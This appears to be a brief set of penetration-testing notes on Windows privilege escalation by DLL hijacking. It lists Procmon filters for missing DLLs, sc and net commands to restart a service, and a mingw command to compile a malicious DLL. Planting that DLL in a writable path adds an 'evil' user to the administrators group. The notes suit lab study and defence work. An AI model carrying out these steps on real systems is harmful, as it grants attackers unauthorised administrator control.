DLL/EXE Hijacking
- Run Procmon as administrator in rdp session
- Add filters
- Result - is - NAME NOT FOUND - Include - click add
- Path - ends with - .dll - include - click add
- .apply and okay
- cmd.exe
- sc stop dllsvc or servicename
- or sc.exe stop dllsvc
- sc start dllsvc
- OR net stop <servicename>
- net start <servicename>
- sc stop dllsvc or servicename
- Now procmon will show more output
- Check for any .dll file path which is writable
- Now create same .dll file using windows_dll.c script in kali
- x86_64-w64-mingw32-gcc windows_dll.c -shared -o <vuln-dll>.dll
- transfer .dll to wrtable location found on Procmon
- sc stop dllsvc & sc start dllsvc
- now evil user has been added in administrator group